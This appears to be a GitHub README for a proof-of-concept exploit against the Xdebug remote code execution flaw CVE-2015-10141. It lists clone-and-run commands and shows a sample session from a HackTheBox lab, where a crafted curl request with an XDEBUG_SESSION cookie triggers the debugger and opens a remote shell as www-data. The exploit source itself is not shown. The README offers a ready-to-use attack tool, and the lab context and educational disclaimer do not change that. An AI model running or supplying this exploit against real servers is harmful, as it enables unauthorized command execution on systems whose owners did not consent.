n0m4d22/poc-cve-2015-10141-xdebugProof-of-Concept exploit script for Xdebug 2.5.5 and earlier versions (CVE-2015-10141).
Custom Python exploit for Xdebug ≤ 2.5.5 (CVE-2015-10141).
This repository contains my Proof-of-Concept (PoC) exploit for the Xdebug remote code execution vulnerability in versions 2.5.5 and earlier.
The script leverages the unauthenticated debugging protocol exposed on port 9000 to achieve remote command execution.
git clone https://github.com/n0m4d22/PoC-CVE-2015-10141.git
cd PoC-CVE-2015-10141
python3 exploit.py
When prompted, enter the target IP where Xdebug is hosted.
Demonstration from my recent HackTheBox Olympus (Medium) write-up :
┌──(kali㉿kali)-[~]
└─$ python exploit.py
[*] Target IP: 10.129.124.136
[*] Connecting to 0.0.0.0:9000 ...
[*] Initializing debugging: curl http://10.129.124.136 -H "Cookie: XDEBUG_SESSION=olympus"
[*] Connection to ('10.129.124.136', 36354) established.
$ whoami
www-data
This project is created for educational purposes only.
Do NOT use this exploit against systems without explicit authorization. I am not responsible for any misuse of this code.